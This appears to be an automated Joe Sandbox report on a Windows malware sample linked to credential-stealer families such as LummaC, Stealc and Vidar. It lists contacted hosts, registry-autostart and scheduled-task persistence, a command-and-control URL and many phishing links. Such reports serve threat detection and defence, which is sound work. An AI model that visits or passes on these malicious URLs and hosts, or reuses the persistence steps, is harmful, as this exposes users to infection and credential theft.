13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
23.222.241.145	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.185.238	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false
142.250.185.206	play.google.com	United States	15169	GOOGLEUS	false
108.156.211.71	unknown	United States	16509	AMAZON-02US	false
18.244.18.27	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
20.42.65.85	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
65.52.241.40	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.47.50.157	unknown	United States	16625	AKAMAI-ASUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.5.155	founpiuer.store	United States	13335	CLOUDFLARENETUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.221.22.217	unknown	United States	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1549650
Start date and time:	2024-11-05 20:50:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	45
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@85/283@53/26
EGA Information:	Successful, ratio: 80%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 199.232.210.172, 93.184.221.240, 142.250.185.163, 172.217.18.110, 64.233.167.84, 34.104.35.123, 216.58.206.67, 142.250.185.234, 142.250.185.74, 142.250.181.234, 142.250.184.234, 142.250.185.138, 142.250.186.74, 216.58.206.74, 142.250.185.170, 142.250.185.202, 142.250.186.42, 172.217.23.106, 142.250.186.170, 142.250.74.202, 216.58.206.42, 142.250.185.106, 172.217.16.202, 142.250.186.138, 172.217.18.10, 142.250.184.202, 142.250.186.106, 216.58.212.170, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 142.250.186.78, 13.107.6.158, 20.93.72.182, 23.192.223.241, 23.192.223.235, 88.221.110.195, 88.221.110.179, 2.23.209.160, 2.23.209.158, 2.23.209.176, 2.23.209.135, 2.23.209.133, 2.23.209.130, 2.23.209.182, 2.23.209.189, 2.23.209.179, 13.107.21.237, 204.79.197.237, 13.74.129.1, 23.38.98.47, 23.38.98.53, 23.38.98.14, 23.38.98.33, 23.38.98.9, 23.38.98.45, 172.205.25.163, 2.19.126.151, 2.19.126.157, 142.251.116.94, 142.250.113.94, 142.250.115.94, 142
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, g.bing.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, prod-agic-ne-9.northeurope.cloudapp.azure.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, mm-mm.bing.net.trafficmanager.net, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, mira.c
Execution Graph export aborted for target 06339d0580.exe, PID 8044 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:52:01	API Interceptor	921x Sleep call for process: skotes.exe modified
14:52:11	API Interceptor	438x Sleep call for process: 06339d0580.exe modified
14:52:39	API Interceptor	254x Sleep call for process: 2bbe886987.exe modified
20:50:59	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
20:52:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 06339d0580.exe C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe
20:52:26	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2bbe886987.exe C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
20:52:34	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 23e9bcc0a0.exe C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe
20:52:43	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 06339d0580.exe C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe
20:52:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 2bbe886987.exe C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
20:53:00	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 23e9bcc0a0.exe C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, XWorm	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	ByVoN4bhSU.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	_Retail_Benefits_and_Commission_2024.svg	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	JMFoyLSCjP.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, XWorm	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	ByVoN4bhSU.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	_Retail_Benefits_and_Commission_2024.svg	Get hash	malicious	Unknown	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	JMFoyLSCjP.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
founpiuer.store	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.133.135
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.133.135
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.5.155
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.133.135
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.133.135
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, XWorm	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.133.135
sb.scorecardresearch.com	https://www.canva.com/design/DAGVnZ3mr_Y/4CQQbX1-EKRcha16TVbYxQ/view?utm_content=DAGVnZ3mr_Y&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Mamba2FA	Browse	3.165.206.35
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, XWorm	Browse	18.244.18.27
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.38
	https://www.canva.com/design/DAGVlowNqco/LaGv3kp6ecOkwIXDSEYQLQ/view?utm_content=DAGVlowNqco&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	18.244.18.32
	ByVoN4bhSU.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	18.245.60.72
	JMFoyLSCjP.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.239.83.58

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://www.canva.com/design/DAGVnZ3mr_Y/4CQQbX1-EKRcha16TVbYxQ/view?utm_content=DAGVnZ3mr_Y&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Mamba2FA	Browse	13.107.253.45
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	13.107.246.45
	Adobeflash.msi	Get hash	malicious	AteraAgent	Browse	20.60.197.1
	phish_alert_iocp_v1.4.48 (36).eml	Get hash	malicious	Unknown	Browse	23.96.124.156
	EXTERNAL Re 0282119 Approved Rosado Sons Inc. - 110524 A00001220503Receipt (2).msg	Get hash	malicious	Unknown	Browse	52.109.28.46
	Steelcase Series 1 Sustainable Office Chair _ Steelcase.html	Get hash	malicious	Unknown	Browse	150.171.27.10
	NIlfETZ9aE.exe	Get hash	malicious	FormBook	Browse	20.2.217.253
	https://micheline.aceflavall.com/	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.253.45
	https://www.imap.ne.jp/banner_click/add/20/1/?a&url=http://uniteseoul.com	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	nuklear.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	13.71.171.233
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://www.canva.com/design/DAGVnZ3mr_Y/4CQQbX1-EKRcha16TVbYxQ/view?utm_content=DAGVnZ3mr_Y&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Mamba2FA	Browse	13.107.253.45
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	13.107.246.45
	Adobeflash.msi	Get hash	malicious	AteraAgent	Browse	20.60.197.1
	phish_alert_iocp_v1.4.48 (36).eml	Get hash	malicious	Unknown	Browse	23.96.124.156
	EXTERNAL Re 0282119 Approved Rosado Sons Inc. - 110524 A00001220503Receipt (2).msg	Get hash	malicious	Unknown	Browse	52.109.28.46
	Steelcase Series 1 Sustainable Office Chair _ Steelcase.html	Get hash	malicious	Unknown	Browse	150.171.27.10
	NIlfETZ9aE.exe	Get hash	malicious	FormBook	Browse	20.2.217.253
	https://micheline.aceflavall.com/	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.253.45
	https://www.imap.ne.jp/banner_click/add/20/1/?a&url=http://uniteseoul.com	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	nuklear.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	13.71.171.233
CLOUDFLARENETUS	https://averellharriman.sharefile.com/public/share/web-s3b96c17360cd43e7bdcaf25a23709fd0	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.canva.com/design/DAGVnZ3mr_Y/4CQQbX1-EKRcha16TVbYxQ/view?utm_content=DAGVnZ3mr_Y&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Mamba2FA	Browse	104.16.103.112
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	104.19.230.21
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	https://d5hSNQ04.na1.hubspotlinks.com/Ctc/Y+113/d5hSNQ04/MVMKCWs_LpLW6M2tMw6fYSwDW861hN75n1762N35KTC63lcq-W6N1vHY6lZ3lRW62lrqD8myJyRVc8h0P2j1zQcW2smXf07sb8RXW1bQ5YL303bx4W17Wz_f1r2klnW53gXLB5VXdRwW5CL5dg6hNVw4W20ByFV3r0jn1W3x17fK1t50D-W96VtSV53KsqXW1rw4B23Qm-qYW7cGbkn3R7Kw9VdqC2r69fTZfW4CW0VN2c8X3vW3Tz_VR32mfptN4ksQKthRqYsW6gWhJP2gWtpNW4QQ9By5QrsRFW287Blb2ggrvXW7Vr25s8w03LtW8Sw-dM5q1jvQN72qVs4-03zvf4sq2bd04	Get hash	malicious	Unknown	Browse	104.18.142.119
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.133.135
	phish_alert_iocp_v1.4.48 (36).eml	Get hash	malicious	Unknown	Browse	104.17.25.14
	Statement.docx	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.142
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	http://app.kodexglobal.com/binance/signup	Get hash	malicious	Unknown	Browse	173.222.162.64
	Steelcase Series 1 Sustainable Office Chair _ Steelcase.html	Get hash	malicious	Unknown	Browse	173.222.162.64
	VoiceOfRefugees_xls.html	Get hash	malicious	Unknown	Browse	173.222.162.64
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, XWorm	Browse	173.222.162.64
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	173.222.162.64
	https://load.contbot.com.br/	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://s.id/bFnCb	Get hash	malicious	Unknown	Browse	173.222.162.64
	National Association of State Procurement Officials.pdf	Get hash	malicious	Unknown	Browse	173.222.162.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	173.222.162.64
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	173.222.162.64
28a2c9bd18a11de089ef85a160da29e4	Doc-Secure6033.pdf	Get hash	malicious	Unknown	Browse	4.175.87.197 4.245.163.56 13.107.253.45 40.126.32.134 23.32.185.164
	https://averellharriman.sharefile.com/public/share/web-s3b96c17360cd43e7bdcaf25a23709fd0	Get hash	malicious	Unknown	Browse	4.175.87.197 4.245.163.56 13.107.253.45 40.126.32.134 23.32.185.164
	https://www.canva.com/design/DAGVnZ3mr_Y/4CQQbX1-EKRcha16TVbYxQ/view?utm_content=DAGVnZ3mr_Y&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Mamba2FA	Browse	4.175.87.197 4.245.163.56 13.107.253.45 40.126.32.134 23.32.185.164
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	4.175.87.197 4.245.163.56 13.107.253.45 40.126.32.134 23.32.185.164
	http://usps.com-trackrhfgr.top/i	Get hash	malicious	Unknown	Browse	4.175.87.197 4.245.163.56 13.107.253.45 40.126.32.134 23.32.185.164
	Statement and Invoice from River Pointe Apartments.htm	Get hash	malicious	Unknown	Browse	4.175.87.197 4.245.163.56 13.107.253.45 40.126.32.134 23.32.185.164
	z14PO31634724MIA0066-0067.exe	Get hash	malicious	AgentTesla	Browse	4.175.87.197 4.245.163.56 13.107.253.45 40.126.32.134 23.32.185.164
	http://usps.com-trackinysc.vip/i	Get hash	malicious	Unknown	Browse	4.175.87.197 4.245.163.56 13.107.253.45 40.126.32.134 23.32.185.164
	https://d5hSNQ04.na1.hubspotlinks.com/Ctc/Y+113/d5hSNQ04/MVMKCWs_LpLW6M2tMw6fYSwDW861hN75n1762N35KTC63lcq-W6N1vHY6lZ3lRW62lrqD8myJyRVc8h0P2j1zQcW2smXf07sb8RXW1bQ5YL303bx4W17Wz_f1r2klnW53gXLB5VXdRwW5CL5dg6hNVw4W20ByFV3r0jn1W3x17fK1t50D-W96VtSV53KsqXW1rw4B23Qm-qYW7cGbkn3R7Kw9VdqC2r69fTZfW4CW0VN2c8X3vW3Tz_VR32mfptN4ksQKthRqYsW6gWhJP2gWtpNW4QQ9By5QrsRFW287Blb2ggrvXW7Vr25s8w03LtW8Sw-dM5q1jvQN72qVs4-03zvf4sq2bd04	Get hash	malicious	Unknown	Browse	4.175.87.197 4.245.163.56 13.107.253.45 40.126.32.134 23.32.185.164
	Statement.docx	Get hash	malicious	Unknown	Browse	4.175.87.197 4.245.163.56 13.107.253.45 40.126.32.134 23.32.185.164
6271f898ce5be7dd52b0fc260d0662b3	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFnKMUa7un9eFMg0JUHf71Dy-2Fi7dgW0zG7NN7FnX-2BRfWJPxmxdpUDiRF-2Fra5O27kwvA-3D-3DUvZW_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZPe5eIaMAcaNYEFc8XJVUZkedrdLKhhnsZ-2BYGpL8Aexp5QfDYeLBDn2jKVmp7oADiMjLLiOLEX0yzDO9WsfbA3D-2B-2FRfY-2FLM-2FZL819bIeqi10r3tMBkA5tIJ3L06KhQPsl4VgIlimoGLXnuduW-2FXkk1JtF3sDOE7yxjbo68R-2Br0Xg-2BJqttxfjS-2BU2vScHQ9Tk4Yb5q9NkRDH2-2FfmFoaCrG767CAizSCoM8egZuTS7qFpzgz7LaiLstYCh9bj8z-2BdwW4-3D#Cmariabilan@pointloma.edu	Get hash	malicious	HTMLPhisher	Browse	2.23.209.149 150.171.28.10 20.223.35.26
	https://na2.documents.adobe.com/public/esignWidget?wid=CBFCIBAA3AAABLblqZhCX_CdmV54WhbwmGNmUgUY27Kzb0iIqbw3x78Nfs8Z-Ky9Jbk1e_ZUruh3S8n-MZ1k	Get hash	malicious	HTMLPhisher	Browse	2.23.209.149 150.171.28.10 20.223.35.26
	A Wireless Caller left a recording #iE0rfKd.eml	Get hash	malicious	Unknown	Browse	2.23.209.149 150.171.28.10 20.223.35.26
	VisitorLevy.exe	Get hash	malicious	Vidar	Browse	2.23.209.149 150.171.28.10 20.223.35.26
	https://email.abprotector.com/c/eJwUzU2OrCAQAODTwE4DBc3PgsXbeA1TUuWTDDadBsfJnH7SB_jyUbIRYDeSk_ZGuQA6RHkkAJfRs995x93paDmToYhsSONmUJbkPARNlh5b9LiCecRgLQQvrAIm0OTdtG0WJ-uUnTYinBwhZ_ocIc4nliprOsZ4dWH-CVgELPd9z6_8v2Lv3OfcTgFL53y9mdbrt62v9h5YBSzlSfwzH-Os8p36WcbRbn5a9RBWtWvU1r4-XI5yci1PXgslbYwJwSvj5XeCvwAAAP__4WRNQg#c2VkZGlrLmJlbmFyYmlhQGF1Yi1zYW50ZS5mcg==	Get hash	malicious	Unknown	Browse	2.23.209.149 150.171.28.10 20.223.35.26
	Reminder - you have been asked to complete a Mitek ID confirmation.eml	Get hash	malicious	Unknown	Browse	2.23.209.149 150.171.28.10 20.223.35.26
	https://hubs.ly/Q02WCPYS0	Get hash	malicious	Unknown	Browse	2.23.209.149 150.171.28.10 20.223.35.26
	http://amtso.eicar.org/PotentiallyUnwanted.exe	Get hash	malicious	Unknown	Browse	2.23.209.149 150.171.28.10 20.223.35.26
	Metro Plastics Technologies.pdf	Get hash	malicious	Unknown	Browse	2.23.209.149 150.171.28.10 20.223.35.26
	RafaelConnect.exe	Get hash	malicious	Unknown	Browse	2.23.209.149 150.171.28.10 20.223.35.26
3b5074b1b5d032e5620f69f9f700ff0e	Bestellung - 20240001833.com.exe	Get hash	malicious	Quasar	Browse	40.113.110.67
	http://app.kodexglobal.com/binance/signup	Get hash	malicious	Unknown	Browse	40.113.110.67
	rFerrecsa_D7011001.vbs	Get hash	malicious	Unknown	Browse	40.113.110.67
	Payment_Advice_USD_48,054.40_.exe	Get hash	malicious	AgentTesla	Browse	40.113.110.67
	AENiBH7X1q.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	40.113.110.67
	H096Ewc7ki.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	40.113.110.67
	T4WYgRfsgy.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	40.113.110.67
	lN65vHBnAu.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	40.113.110.67
	j9eXB1sYLi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.113.110.67
	O82OCJNA3s.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	40.113.110.67

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	ByVoN4bhSU.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
